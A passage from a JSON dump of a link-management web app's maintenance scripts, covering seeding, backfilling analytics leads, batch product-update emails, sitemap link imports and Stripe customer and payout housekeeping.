    "content": "// runner.ts\nimport { spawn } from \"child_process\";\n\nconst command: string = process.argv[2];\n\nif (!command) {\n  console.error(\"Please provide a command name.\");\n  process.exit(1);\n}\n\nconst scriptPath = `./scripts/${command}.${\n  command === \"send-emails\" ? \"tsx\" : \"ts\"\n}`;\n\n// Get all arguments after the command (e.g., --truncate)\nconst scriptArgs = process.argv.slice(3);\n\nconst child = spawn(\n  \"tsx\",\n  [\"--stack-size=5120000\", scriptPath, ...scriptArgs],\n  {\n    stdio: \"inherit\", // This pipes stdout/stderr directly to the parent process\n    shell: true, // Allows running commands as if in a shell\n  },\n);\n\nchild.on(\"error\", (error) => {\n  console.error(`Error executing script: ${error.message}`);\n  process.exit(1);\n});\n\nchild.on(\"exit\", (code) => {\n  process.exit(code ?? 0);\n});\n"
  },
  {
    "path": "apps/web/scripts/seed-invite-codes.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { nanoid } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const projects = await prisma.project.findMany({\n    select: {\n      id: true,\n    },\n    where: {\n      inviteCode: null,\n    },\n    take: 500,\n  });\n\n  const res = await Promise.all(\n    projects.map(async ({ id }) => {\n      return prisma.project.update({\n        where: {\n          id,\n        },\n        data: {\n          inviteCode: nanoid(24),\n        },\n      });\n    }),\n  );\n\n  console.log(res.length);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/seed-support-embeddings.ts",
    "content": "/**\n * Seed script for support embeddings.\n *\n *\n * Usage:\n *   pnpm tsx scripts/seed-support-embeddings.ts              # seed all articles\n *   pnpm tsx scripts/seed-support-embeddings.ts --url <url>  # re-seed a single article\n */\n\nimport { fetchPlausiblePageviews } from \"app/api/ai/sync-embeddings/fetch-plausible-pageviews\";\nimport \"dotenv-flow/config\";\nimport { upsertDocsEmbeddings } from \"../lib/ai/upsert-docs-embedding\";\n\n/**\n * Fetch all article URLs from dub.co/llms.txt.\n */\nexport async function fetchArticleUrls(): Promise<string[]> {\n  const res = await fetch(\"https://dub.co/docs/llms.txt\");\n  if (!res.ok) throw new Error(`Failed to fetch llms.txt: ${res.status}`);\n\n  const text = await res.text();\n  const urls: string[] = [];\n\n  for (const line of text.split(\"\\n\")) {\n    const trimmed = line.trim();\n    const linkMatch = trimmed.match(\n      /\\(?(https?:\\/\\/dub\\.co\\/(?:docs|help)[^\\s)]*)\\)?/,\n    );\n    const candidate = linkMatch ? linkMatch[1] : trimmed;\n\n    if (candidate.startsWith(\"http\")) {\n      try {\n        const parsed = new URL(candidate);\n        const origin = \"https://dub.co\";\n        const pathname = parsed.pathname.endsWith(\".md\")\n          ? parsed.pathname.slice(0, -3)\n          : parsed.pathname;\n        const normalizedUrl = `${origin}${pathname}`;\n        urls.push(normalizedUrl);\n      } catch {\n        // Invalid URL, skip\n      }\n    }\n  }\n\n  return [...new Set(urls)];\n}\n\nasync function main() {\n  const args = process.argv.slice(2);\n  const urlFlagIdx = args.indexOf(\"--url\");\n\n  if (urlFlagIdx !== -1) {\n    const url = args[urlFlagIdx + 1];\n    if (!url) {\n      console.error(\n        \"Error: --url requires a value (e.g. --url https://dub.co/docs/...)\",\n      );\n      process.exit(1);\n    }\n    console.log(`Seeding single article: ${url}`);\n    const pageviewsMap = await fetchPlausiblePageviews();\n    const result = await upsertDocsEmbeddings(url, pageviewsMap);\n    console.log(\n      `  → ${result.chunks} chunks${result.skipped ? \" (skipped)\" : \"\"}`,\n    );\n    console.log(\"Done.\");\n    return;\n  }\n\n  console.log(\"Fetching article list from llms.txt...\");\n  const urls = await fetchArticleUrls();\n  console.log(`Found ${urls.length} articles to embed.\\n`);\n\n  console.log(\"Fetching pageviews from Plausible...\");\n  const pageviewsMap = await fetchPlausiblePageviews();\n  console.log(`Loaded pageviews for ${pageviewsMap.size} pages.\\n`);\n\n  let success = 0;\n  let skipped = 0;\n  let failed = 0;\n\n  for (const url of urls) {\n    try {\n      process.stdout.write(`Processing: ${url} ... `);\n      const result = await upsertDocsEmbeddings(url, pageviewsMap);\n      if (result.skipped) {\n        process.stdout.write(`skipped\\n`);\n        skipped++;\n      } else {\n        process.stdout.write(`${result.chunks} chunks\\n`);\n        success++;\n      }\n    } catch (err) {\n      process.stdout.write(`ERROR: ${err}\\n`);\n      failed++;\n    }\n\n    await new Promise((r) => setTimeout(r, 200));\n  }\n\n  console.log(\n    `\\nDone. Success: ${success}, Skipped: ${skipped}, Failed: ${failed}`,\n  );\n}\n\nmain().catch((err) => {\n  console.error(err);\n  process.exit(1);\n});\n"
  },
  {
    "path": "apps/web/scripts/send-batch-emails.ts",
    "content": "import DubProductUpdateMar26 from \"@dub/email/templates/broadcasts/dub-product-update-mar26\";\nimport { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { queueBatchEmail } from \"../lib/email/queue-batch-email\";\nimport { generateUnsubscribeToken } from \"../lib/email/unsubscribe-token\";\n\nasync function main() {\n  while (true) {\n    const usersToNotify = await prisma.user.findMany({\n      where: {\n        sentMail: false,\n        notificationPreferences: {\n          dubPartners: true,\n        },\n        projects: {\n          some: {\n            project: {\n              plan: {\n                not: \"free\",\n              },\n            },\n          },\n        },\n        email: {\n          not: null,\n        },\n      },\n      take: 10000,\n    });\n    if (usersToNotify.length === 0) {\n      console.log(\"No more users to notify\");\n      break;\n    }\n    console.log(`Found ${usersToNotify.length} users to notify`);\n\n    const res = await queueBatchEmail<typeof DubProductUpdateMar26>(\n      usersToNotify.map((user) => ({\n        to: user.email!,\n        subject: \"Dub Partners Product Updates (Mar '26)\",\n        variant: \"marketing\",\n        templateName: \"DubProductUpdateMar26\",\n        templateProps: {\n          email: user.email!,\n          unsubscribeUrl: `https://app.dub.co/unsubscribe/${generateUnsubscribeToken(user.email!)}`,\n        },\n      })),\n    );\n\n    console.log(res);\n\n    const chunkedUsers = chunk(usersToNotify, 1000);\n    for (const cu of chunkedUsers) {\n      const res = await prisma.user.updateMany({\n        where: {\n          id: {\n            in: cu.map((u) => u.id),\n          },\n        },\n        data: {\n          sentMail: true,\n        },\n      });\n      console.log(`Updated ${res.count} users to sentMail: true`);\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/sent-mail-reset.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  while (true) {\n    const users = await prisma.user.findMany({\n      where: {\n        sentMail: true,\n      },\n      take: 1000,\n    });\n    if (users.length === 0) {\n      console.log(\"No more users to update\");\n      break;\n    }\n    await prisma.user.updateMany({\n      where: {\n        id: { in: users.map((user) => user.id) },\n      },\n      data: {\n        sentMail: false,\n      },\n    });\n    console.log(`Updated ${users.length} users to sentMail: false`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/ship30/backfill-leads.ts",
    "content": "// @ts-nocheck some weird typing issues below\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport { recordLeadWithTimestamp } from \"../../lib/tinybird/record-lead\";\n\nlet leadsToBackfill: {\n  customerExternalId: string;\n  partnerLinkKey: string;\n  timestamp: string;\n}[] = [];\n\n// script to backfill customers + leads\n// we also use a batching logic for tinybird events ingestion\nasync function main() {\n  Papa.parse(fs.createReadStream(\"ship30_leads.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: {\n      data: {\n        customerExternalId: string;\n        partnerLinkKey: string;\n        timestamp: string;\n      };\n    }) => {\n      leadsToBackfill.push({\n        customerExternalId: result.data.customerExternalId,\n        partnerLinkKey: result.data.partnerLinkKey,\n        timestamp: new Date(result.data.timestamp).toISOString(),\n      });\n    },\n    complete: async () => {\n      const workspace = await prisma.project.findUniqueOrThrow({\n        where: {\n          id: \"ws_xxx\",\n        },\n      });\n\n      const partnerLinks = await prisma.link.findMany({\n        where: {\n          domain: \"ship30.partners\",\n          key: {\n            in: leadsToBackfill.map((lead) => lead.partnerLinkKey),\n          },\n        },\n      });\n\n      // filter out leads that are not associated with a partner link\n      const finalLeadsToBackfill = leadsToBackfill.filter((lead) =>\n        partnerLinks.some(\n          (link) =>\n            link.key.toLowerCase() === lead.partnerLinkKey.toLowerCase(),\n        ),\n      );\n\n      console.log(`Found ${finalLeadsToBackfill.length} leads to backfill`);\n      console.table(finalLeadsToBackfill.slice(0, 10));\n\n      const clicksToCreate = finalLeadsToBackfill\n        .map((lead) => {\n          const link = partnerLinks.find(\n            (link) =>\n              link.key.toLowerCase() === lead.partnerLinkKey.toLowerCase(),\n          )!; // coerce here cause we already filtered out leads that are not associated with a partner link above\n\n          const clickId = nanoid(16);\n\n          return {\n            timestamp: new Date(lead.timestamp).toISOString(),\n            identity_hash: lead.customerExternalId,\n            click_id: clickId,\n            workspace_id: workspace.id,\n            link_id: link.id,\n            domain: link.domain,\n            key: link.key,\n            url: link.url,\n            ip: \"\",\n            continent: \"NA\",\n            country: \"US\",\n            region: \"Unknown\",\n            city: \"Unknown\",\n            latitude: \"Unknown\",\n            longitude: \"Unknown\",\n            vercel_region: \"\",\n            device: \"Desktop\",\n            device_vendor: \"Unknown\",\n            device_model: \"Unknown\",\n            browser: \"Unknown\",\n            browser_version: \"Unknown\",\n            engine: \"Unknown\",\n            engine_version: \"Unknown\",\n            os: \"Unknown\",\n            os_version: \"Unknown\",\n            cpu_architecture: \"Unknown\",\n            ua: \"Unknown\",\n            bot: 0,\n            qr: 0,\n            referer: \"(direct)\",\n            referer_url: \"(direct)\",\n            trigger: \"link\",\n          };\n        })\n        .filter((c) => c !== null);\n\n      // clickhouse only supports max 12 partitions (months) for a given event backfill\n      // so we need to transform this into a list of lists, one for each year\n      const clicksToCreateTB = clicksToCreate.reduce(\n        (acc, curr) => {\n          const year = new Date(curr.timestamp).getFullYear();\n          if (!acc[year]) {\n            acc[year] = [];\n          }\n          acc[year].push(curr);\n          return acc;\n        },\n        {} as Record<number, any[]>,\n      );\n\n      // Record clicks\n      Object.entries(clicksToCreateTB).forEach(async ([year, clicks]) => {\n        const clicksBatch = clicks as typeof clicksToCreate;\n        console.log(`backfilling ${clicksBatch.length} clicks for ${year}`);\n        const clickRes = await fetch(\n          `${process.env.TINYBIRD_API_URL}/v0/events?name=dub_click_events&wait=true`,\n          {\n            method: \"POST\",\n            headers: {\n              Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n              \"Content-Type\": \"application/x-ndjson\",\n            },\n            body: (clicksBatch as typeof clicksToCreate)\n              .map((d) => JSON.stringify(d))\n              .join(\"\\n\"),\n          },\n        ).then((res) => res.json());\n        console.log(\"backfilled clicks\", JSON.stringify(clickRes, null, 2));\n      });\n\n      const customersToCreate = finalLeadsToBackfill\n        .map((lead, idx) => {\n          const clickData = clicksToCreate[idx];\n          if (!clickData) {\n            return null;\n          }\n          return {\n            id: createId({ prefix: \"cus_\" }),\n            name: lead.customerExternalId,\n            email: lead.customerExternalId,\n            externalId: lead.customerExternalId,\n            projectId: workspace.id,\n            projectConnectId: workspace.stripeConnectId,\n            clickId: clickData.click_id,\n            linkId: clickData.link_id,\n            country: clickData.country,\n            clickedAt: new Date(lead.timestamp).toISOString(),\n            createdAt: new Date(lead.timestamp).toISOString(),\n          };\n        })\n        .filter((c) => c !== null);\n\n      console.table(customersToCreate.slice(0, 10));\n\n      const customerRes = await prisma.customer.createMany({\n        data: customersToCreate,\n        skipDuplicates: true,\n      });\n      console.log(\"backfilled customers\", JSON.stringify(customerRes, null, 2));\n\n      const leadsToCreate = clicksToCreate.map((clickData, idx) => ({\n        ...clickData,\n        event_id: nanoid(16),\n        event_name: \"Sign up\",\n        customer_id: customersToCreate[idx]!.id,\n      }));\n\n      // same batching logic as above\n      const leadsToCreateTB = leadsToCreate.reduce(\n        (acc, curr) => {\n          const year = new Date(curr.timestamp).getFullYear();\n          if (!acc[year]) {\n            acc[year] = [];\n          }\n          acc[year].push(curr);\n          return acc;\n        },\n        {} as Record<number, any[]>,\n      );\n\n      Object.entries(leadsToCreateTB).forEach(async ([year, leads]) => {\n        const leadsBatch = leads as typeof leadsToCreate;\n        console.log(`backfilling ${leadsBatch.length} leads for ${year}`);\n        const leadRes = await recordLeadWithTimestamp(leadsBatch);\n        console.log(\"backfilled leads\", JSON.stringify(leadRes, null, 2));\n      });\n\n      const statsByLink = finalLeadsToBackfill\n        .filter((lead) =>\n          partnerLinks.some(\n            (link) =>\n              link.key.toLowerCase() === lead.partnerLinkKey.toLowerCase(),\n          ),\n        )\n        .reduce(\n          (acc, lead) => {\n            const link = partnerLinks.find(\n              (link) =>\n                link.key.toLowerCase() === lead.partnerLinkKey.toLowerCase(),\n            )!;\n            const leadCreatedAt = new Date(lead.timestamp);\n            acc[link.id] = {\n              clicks: (acc[link.id]?.clicks || 0) + 1,\n              leads: (acc[link.id]?.leads || 0) + 1,\n              // if there is no lastLeadAt, or the leadCreatedAt is greater than the lastLeadAt, set the lastLeadAt to the leadCreatedAt\n              lastLeadAt:\n                leadCreatedAt > (acc[link.id]?.lastLeadAt ?? new Date(0))\n                  ? leadCreatedAt\n                  : acc[link.id]?.lastLeadAt,\n            };\n            return acc;\n          },\n          {} as Record<\n            string,\n            {\n              clicks: number;\n              leads: number;\n              lastLeadAt: Date | undefined;\n            }\n          >,\n        );\n\n      console.log(\n        JSON.stringify(Object.entries(statsByLink).slice(0, 10), null, 2),\n      );\n\n      for (const [linkId, stats] of Object.entries(statsByLink)) {\n        const res = await prisma.link.update({\n          where: { id: linkId },\n          data: {\n            clicks: {\n              increment: stats.clicks,\n            },\n            leads: {\n              increment: stats.leads,\n            },\n            lastLeadAt: stats.lastLeadAt,\n          },\n        });\n        console.log(\n          `Updated ${linkId} to ${res.clicks} clicks (+${stats.clicks} clicks), ${res.leads} leads (+${stats.leads} leads)`,\n        );\n      }\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/sitemap-importer.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { XMLParser } from \"fast-xml-parser\";\nimport { bulkCreateLinks } from \"../lib/api/links/bulk-create-links\";\n\nasync function fetchSitemap(url: string) {\n  const response = await fetch(url);\n  const xml = await response.text();\n  const parser = new XMLParser();\n  const result = parser.parse(xml);\n  return result.urlset.url.map((entry: { loc: string }) => entry.loc);\n}\n\nconst sitemapUrl = \"https://dub.co/sitemap.xml\";\nconst domain = \"site.dub.co\";\nconst projectId = \"ws_xxx\";\nconst userId = \"user_xxx\";\nconst folderId = \"fold_xxx\";\n\nasync function main() {\n  // Fetch and parse sitemap\n  const sitemapUrls = await fetchSitemap(sitemapUrl);\n\n  const validUrls = sitemapUrls\n    // filter out other sitemaps\n    .filter((url: string) => !url.endsWith(\"sitemap.xml\"))\n    .map((url: string) => {\n      const urlObj = new URL(url);\n      let key = urlObj.pathname.slice(1);\n      // convert homepage to _root\n      if (key === \"\") {\n        key = \"_root\";\n      }\n      return {\n        id: createId({ prefix: \"link_\" }),\n        domain,\n        key,\n        url,\n        trackConversion: true,\n        projectId,\n        userId,\n        folderId,\n      };\n    })\n    .slice(0, 1000);\n\n  const existingLinks = await prisma.link.findMany({\n    where: {\n      domain,\n      key: {\n        in: validUrls.map((link) => link.key),\n      },\n    },\n  });\n\n  const linksToCreate = validUrls.filter(\n    (link) => !existingLinks.some((l) => l.key === link.key),\n  );\n\n  console.table(linksToCreate);\n  console.log(`Found ${linksToCreate.length} links to create`);\n\n  const res = await bulkCreateLinks({\n    links: linksToCreate,\n    skipRedisCache: true,\n  });\n  console.log(`Created ${res.length} links`);\n}\n\nmain().catch(console.error);\n"
  },
  {
    "path": "apps/web/scripts/stripe/backfill-stripe-webhook-events.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { stripeAppClient } from \"../../lib/stripe\";\n\nconst stripeAccountId = \"xxx\";\n\nasync function main() {\n  const customers = await prisma.customer.findMany({\n    where: {\n      projectConnectId: stripeAccountId,\n      createdAt: {\n        gte: new Date(\"2024-12-19 00:00:00.000\"),\n      },\n    },\n    orderBy: {\n      createdAt: \"asc\",\n    },\n    skip: 10,\n    take: 10,\n  });\n\n  console.table(customers, [\"name\", \"email\", \"stripeCustomerId\", \"createdAt\"]);\n\n  await Promise.allSettled(\n    customers.map(async (customer) => {\n      if (!customer.email) return;\n      if (customer.stripeCustomerId) return;\n\n      const stripeCustomer = await stripeAppClient({\n        mode: \"test\",\n      }).customers.list(\n        {\n          email: customer.email,\n        },\n        {\n          stripeAccount: stripeAccountId,\n        },\n      );\n\n      if (stripeCustomer.data.length === 0) {\n        console.log(`No stripe customer found for ${customer.email}`);\n        return;\n      }\n\n      const stripeCustomerId = stripeCustomer.data[0].id;\n\n      await prisma.customer.update({\n        where: { id: customer.id },\n        data: { stripeCustomerId },\n      });\n\n      console.log(\n        `Updated stripe customer id for ${customer.email}: ${stripeCustomerId}`,\n      );\n    }),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/stripe/backfill-trace-id.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { stripeConnectClient } from \"./connect-client\";\n\nasync function main() {\n  const payouts = await prisma.payout.findMany({\n    where: {\n      stripePayoutId: {\n        not: null,\n      },\n      OR: [\n        {\n          status: \"sent\",\n        },\n        {\n          stripePayoutTraceId: null,\n        },\n      ],\n    },\n    include: {\n      partner: {\n        select: {\n          stripeConnectId: true,\n        },\n      },\n    },\n    orderBy: {\n      paidAt: \"asc\",\n    },\n  });\n\n  const chunks = chunk(payouts, 20);\n  for (let i = 0; i < chunks.length; i++) {\n    const chunk = chunks[i];\n    console.log(`Processing chunk ${i + 1} of ${chunks.length}`);\n    await Promise.all(\n      chunk.map(async (payout) => {\n        try {\n          const stripePayout = await stripeConnectClient.payouts.retrieve(\n            payout.stripePayoutId!,\n            {\n              stripeAccount: payout.partner.stripeConnectId!,\n            },\n          );\n          const { status, trace_id } = stripePayout;\n          const stripePayoutTraceId = trace_id?.value;\n          if (\n            (status === \"paid\" && payout.status !== \"completed\") ||\n            (stripePayoutTraceId &&\n              payout.stripePayoutTraceId !== stripePayoutTraceId)\n          ) {\n            const res = await prisma.payout.update({\n              where: { id: payout.id },\n              data: {\n                status: status === \"paid\" ? \"completed\" : undefined,\n                stripePayoutTraceId,\n              },\n            });\n            console.log(\n              `Updated payout ${payout.id} to ${res.status} - ${res.stripePayoutTraceId}`,\n            );\n          }\n        } catch (error) {\n          // console.error(error.message);\n        }\n      }),\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/stripe/connect-client.ts",
    "content": "import Stripe from \"stripe\";\n\nexport const stripeConnectClient = new Stripe(\n  `${process.env.STRIPE_CONNECT_WRITE_KEY}`,\n  {\n    apiVersion: \"2025-05-28.basil\",\n    appInfo: {\n      name: \"Dub.co\",\n      version: \"0.1.0\",\n    },\n  },\n);\n"
  },
  {
    "path": "apps/web/scripts/stripe/delete-connected-account.ts",
    "content": "import \"dotenv-flow/config\";\nimport { stripeConnectClient } from \"./connect-client\";\n\nasync function main() {\n  const res = await stripeConnectClient.accounts.del(\"acct_1QpUzRPQKTxd7zPB\");\n  console.log(res);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/stripe/fix-processed-payouts.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { stripeConnectClient } from \"./connect-client\";\n\nasync function main() {\n  const partnersWithProcessingPayouts = await prisma.partner.findMany({\n    where: {\n      payouts: {\n        some: {\n          status: \"processing\",\n          stripeTransferId: null,\n          invoice: {\n            status: \"completed\",\n          },\n        },\n      },\n    },\n  });\n\n  console.log(\n    `Found ${partnersWithProcessingPayouts.length} partners with processing payouts`,\n  );\n\n  const results = await Promise.all(\n    partnersWithProcessingPayouts.map(async (partner) => {\n      try {\n        const stripeConnectAccount =\n          await stripeConnectClient.accounts.retrieve(partner.stripeConnectId!);\n        return {\n          partnerId: partner.id,\n          email: partner.email,\n          stripeConnectId: partner.stripeConnectId,\n          payoutsEnabledAt: partner.payoutsEnabledAt,\n          actualPayoutsEnabled: stripeConnectAccount.payouts_enabled,\n          transfersEnabled: stripeConnectAccount.capabilities?.transfers,\n          transfersEnabledStatus: stripeConnectAccount.capabilities?.transfers,\n        };\n      } catch (error) {\n        return null;\n      }\n    }),\n  );\n\n  console.table(results.filter((result) => result !== null));\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/stripe/get-connected-customer.ts",
    "content": "import \"dotenv-flow/config\";\nimport { stripeAppClient } from \"../../lib/stripe\";\n\nasync function main() {\n  const connectedCustomer = await stripeAppClient({\n    mode: \"test\",\n  }).customers.retrieve(\"cus_xxx\", {\n    stripeAccount: \"acct_xxx\",\n  });\n\n  console.log(connectedCustomer);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/stripe/manual-payouts.ts",
    "content": "import { stripe } from \"@/lib/stripe\";\nimport \"dotenv-flow/config\";\n\n// Just for testing purposes\nasync function main() {\n  const connectedAccount = \"acct_1Ri8yePKFVxAW5Pv\";\n\n  // 1. Do a transfer\n  const transfer = await stripe.transfers.create({\n    amount: 1000,\n    currency: \"usd\",\n    destination: connectedAccount,\n  });\n\n  console.log(\"Transfer created\", {\n    id: transfer.id,\n    amount: transfer.amount,\n    currency: transfer.currency,\n    destination: transfer.destination,\n  });\n\n  // 2. Check the balance\n  const balance = await stripe.balance.retrieve({\n    stripeAccount: connectedAccount,\n  });\n\n  console.log(\"Balance\", JSON.stringify(balance, null, 2));\n\n  // 3. Create payout\n  const payout = await stripe.payouts.create(\n    {\n      amount: balance.available[0].amount,\n      currency: \"usd\",\n    },\n    {\n      stripeAccount: connectedAccount,\n    },\n  );\n\n  console.log(\"Payout created\", {\n    id: payout.id,\n    amount: payout.amount,\n    currency: payout.currency,\n    destination: payout.destination,\n  });\n\n  // 4. Check the balance after the payout\n  const balance2 = await stripe.balance.retrieve({\n    stripeAccount: connectedAccount,\n  });\n\n  console.log(\"Balance\", balance2.available);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/stripe/retrieve-balance.ts",
    "content": "import \"dotenv-flow/config\";\nimport { stripeConnectClient } from \"./connect-client\";\n\nasync function main() {\n  const balance = await stripeConnectClient.balance.retrieve();\n  console.log(balance);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/stripe/search-customers.ts",
    "content": "import \"dotenv-flow/config\";\nimport { stripeAppClient } from \"../../lib/stripe\";\n\nasync function main() {\n  const email = \"xxx\";\n\n  const stripeCustomers = await stripeAppClient({\n    mode: \"test\",\n  }).customers.search(\n    {\n      query: `email:'${email}'`,\n    },\n    {\n      stripeAccount: \"xxx\",\n    },\n  );\n  console.log(JSON.stringify(stripeCustomers, null, 2));\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/stripe/update-payouts-schedule.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { stripeConnectClient } from \"./connect-client\";\n\nasync function main() {\n  const offset = 2900;\n\n  const commonFields = {\n    where: {\n      stripeConnectId: {\n        not: null,\n      },\n    },\n    skip: offset,\n  };\n\n  const partners = await prisma.partner.findMany({\n    ...commonFields,\n    take: 100,\n    orderBy: {\n      createdAt: \"asc\",\n    },\n  });\n\n  if (partners.length === 0) {\n    console.log(\"No partners found.\");\n    return;\n  }\n\n  await Promise.all(\n    partners.map(async (partner) => {\n      try {\n        const res = await stripeConnectClient.accounts.update(\n          partner.stripeConnectId!,\n          {\n            settings: {\n              payouts: {\n                schedule: {\n                  interval: \"manual\",\n                },\n              },\n            },\n          },\n        );\n\n        console.log(\n          `Updated payout schedule for partner ${partner.email} (${partner.stripeConnectId}): ${res.id}`,\n        );\n      } catch (error) {\n        console.error(error);\n      }\n    }),\n  );\n\n  const remaining = await prisma.partner.count(commonFields);\n  console.log(`Remaining: ${remaining}`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/stripe/update-stripe-customers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport Stripe from \"stripe\";\nimport { stripeAppClient } from \"../../lib/stripe\";\n\nasync function main() {\n  const workspace = await prisma.project.findUniqueOrThrow({\n    where: {\n      id: \"ws_1JRV43Y6B85PGH7B54KA79M81\",\n    },\n  });\n\n  if (!workspace.stripeConnectId) {\n    throw new Error(\"Workspace has no stripeConnectId\");\n  }\n\n  const customers = await prisma.customer.findMany({\n    where: {\n      projectId: workspace.id,\n      stripeCustomerId: null,\n    },\n    select: {\n      id: true,\n      name: true,\n      email: true,\n    },\n    orderBy: {\n      createdAt: \"asc\",\n    },\n    take: 20,\n  });\n\n  for (const customer of customers) {\n    const stripeCustomers = await stripeAppClient({\n      mode: \"test\",\n    }).customers.search(\n      {\n        query: `email:'${customer.email}'`,\n      },\n      {\n        stripeAccount: workspace.stripeConnectId,\n      },\n    );\n\n    if (stripeCustomers.data.length === 0) {\n      console.error(`Stripe search returned no customer for ${customer.email}`);\n      continue;\n    }\n\n    let stripeCustomer: Stripe.Customer;\n\n    if (stripeCustomers.data.length > 1) {\n      // look for the one with metadata.tolt_referral set\n      const toltReferralStripeCustomer = stripeCustomers.data.find(\n        (customer) => customer.metadata.tolt_referral,\n      );\n\n      if (toltReferralStripeCustomer) {\n        stripeCustomer = toltReferralStripeCustomer;\n      } else {\n        console.error(\n          `Stripe search returned multiple customers for ${customer.email} and none had metadata.tolt_referral set`,\n        );\n\n        continue;\n      }\n    }\n\n    stripeCustomer = stripeCustomers.data[0];\n\n    await prisma.customer.update({\n      where: {\n        id: customer.id,\n      },\n      data: {\n        stripeCustomerId: stripeCustomer.id,\n      },\n    });\n\n    console.log(\n      `Updated customer ${customer.email} with stripeCustomerId ${stripeCustomer.id}`,\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/sync-conversions.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst data: { [key: number]: string[] } = {};\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"link_id_unique_customers.csv\", \"utf-8\"), {\n    header: true,\n    step: (result: { data: { link_id: string; unique_customers: number } }) => {\n      data[result.data.unique_customers] = (\n        data[result.data.unique_customers] || []\n      ).concat(result.data.link_id);\n    },\n    complete: async () => {\n      const dataArray = Object.entries(data).map(([conversions, linkIds]) => ({\n        conversions: parseInt(conversions),\n        linkIds,\n      }));\n      console.table(dataArray);\n\n      for (const { conversions, linkIds } of dataArray) {\n        const chunks = chunk(linkIds, 1000);\n        for (const chunk of chunks) {\n          const res = await prisma.link.updateMany({\n            where: {\n              id: { in: chunk },\n            },\n            data: {\n              conversions,\n            },\n          });\n          console.log(\n            `Updated ${res.count} links with ${conversions} conversions.`,\n          );\n        }\n      }\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/sync-domain-clicks.ts",
    "content": "// @ts-nocheck\n\n// TODO:\n// Fix the script\n\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst index = 1000;\nconst domainClicks: { domain: string; clicks: string }[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"sql.csv\", \"utf-8\"), {\n    header: true,\n    step: (result: { data: { domain: string; clicks: string } }) => {\n      domainClicks.push(result.data);\n    },\n    complete: async () => {\n      const domainWithClicks = await prisma.domain.findMany({\n        where: {\n          clicks: {\n            gt: 0,\n          },\n        },\n        select: {\n          slug: true,\n        },\n      });\n      console.table(domainClicks.slice(0, 50));\n      const domainClickToUpdate = domainClicks\n        .filter((domainClick) => {\n          const { domain } = domainClick;\n          return domainWithClicks.find(({ slug }) => slug === domain);\n        })\n        .slice(index, index + 1000);\n\n      await Promise.all(\n        domainClickToUpdate.map(async (domainClick) => {\n          const { domain, clicks } = domainClick;\n          console.log(`Updating ${domain} with ${clicks} clicks.`);\n          return prisma.domain.update({\n            where: {\n              slug: domain,\n            },\n            data: {\n              clicks: parseInt(clicks),\n            },\n          });\n        }),\n      );\n      console.log(\n        `Done updating ${index} to ${\n          index + domainClickToUpdate.length\n        } domains.`,\n      );\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/sync-expired-links.ts",
